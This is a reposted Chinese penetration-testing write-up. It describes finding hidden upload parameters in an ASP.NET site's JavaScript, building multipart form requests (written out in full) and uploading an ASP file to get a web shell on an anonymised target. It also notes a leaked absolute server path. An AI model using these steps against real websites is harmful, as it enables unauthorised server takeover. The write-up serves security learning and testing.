专栏名称: 橘猫学安全
每日一干货🙂
目录
相关文章推荐
中国航务周刊  ·  外运集运东南亚新航线,2月22日即将起航! ·  昨天  
中国航务周刊  ·  唐山港转让子公司100%股权 ·  2 天前  
中国航务周刊  ·  学习AI,祈福货代!ISEA上海口岸举行闽南 ... ·  2 天前  
中国航务周刊  ·  参加民营企业座谈会、与MSC战略合作,这家中 ... ·  3 天前  
中国航务周刊  ·  山东港口2025年世界级海洋港口群建设(烟台 ... ·  3 天前  
51好读  ›  专栏  ›  橘猫学安全

实战 | 文件上传猜测表单参数Getshell

橘猫学安全  · 公众号  ·  · 2024-08-06 08:51

正文

0x01 前言

大佬给了个上传点,说是这个点足够写一篇教程了,遂尝试一下,看自己得行不。
上传点如下:

https://subdomain.target.com/UpLoad/UpLoad.aspx

访问之, 302 跳转到 User_Status

阅读本篇文章能了解到: 上传 , getshell

0x02 猜测参数

没有任何功能点,显然是需要猜参数了,与其说是猜测不如说是构造,使用通用表单上传参数

1
2
3
4
5
6
7
8
9
Content-Type: multipart/form-data; boundary=--------1036030574

----------1036030574
Content-Disposition: form-data; name="Filedata"; filename="pic.jpg"
Content-Type: text/plain

123

----------1036030574--

oneForm


显然 response 并无变化,也没有上传成功的提示,更换几个常用的 name filename 后一样无果
无头苍蝇般的猜测显然不行,查看源码找找有用信息
并无有价值信息,进一步查看 js jquery 忽略不看,直接看第二个 comfun.js

view-source


随便翻翻,果然发现点有用的东西,函数 UpLoadPic

comfun.js-uploadPic


直接访问 /UpLoad/UpLoadPic.aspx ,一样 302 跳转到 User_Status

uploadPic302


尝试把函数中的参数全部构造成表单提交

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
----------1036030574
Content-Disposition: form-data; name="ObjNM";
Content-Type: text/plain

1

----------1036030574
Content-Disposition: form-data; name="FilePath";
Content-Type: text/plain

pic.jpg

----------1036030574
Content-Disposition: form-data; name="UpLoadBtnNM";
Content-Type: text/plain

1

----------1036030574
Content-Disposition: form-data; name="DeleteBtnNM";
Content-Type: text/plain

1

----------1036030574
Content-Disposition: form-data; name="MaxFileSize";
Content-Type: text/plain

1

----------1036030574
Content-Disposition: form-data; name="MaxSize";
Content-Type: text/plain

1

----------1036030574
Content-Disposition: form-data; name="IsCover";
Content-Type: text/plain

1
----------1036030574--

上传页面出现了

uploadPic-post


果断上传 asp ,提示白名单

uploadPic-asp


iis8.0 并无解析漏洞,随便试试,爆出绝对路径 D:\web_root\UpLoad ,不知是否有用,先留着

root_path


继续 fuzz ,发现无法绕过,就连白名单的 jpg 都无法上传,经过多次 fuzz txt 可上传,并返回文件名

uploadPic-txt-1


根据上述绝对路径,直接加在 /upload/ ,得到相对路径

uploadPic-txt-2


0x03 getshell

经测试,该上传点白名单无法绕过,遂放弃,另辟蹊径
继续回头看 js ,函数 UpLoadPic 下还有函数 UpLoadFile

comfun.js-upload


同理构造表单上传,看到 档案格式不限 ,感觉希望来了

upload-post


直接梭哈 asp

upload-asp


哦豁,getshell!

getshell


0x04 总结

该篇重点在于构造表单参数,在扫到一些上传页面无按钮时不要放弃,猜测参数有时能一击必杀
另外 header boundary=--------1036030574 不可缺少,表单分割线要保持一致
至于后面的就是找对功能点,任意上传了。

来源:https://redn3ck.github.io/2019/10/18/%E4%B8%8A%E4%BC%A0-%E7%8C%9C%E6%B5%8B%E8%A1%A8%E5%8D%95%E5%8F%82%E6%95%B0getshell/作者:redn3ck
如有侵权,请联系删除

推荐阅读







请到「今天看啥」查看全文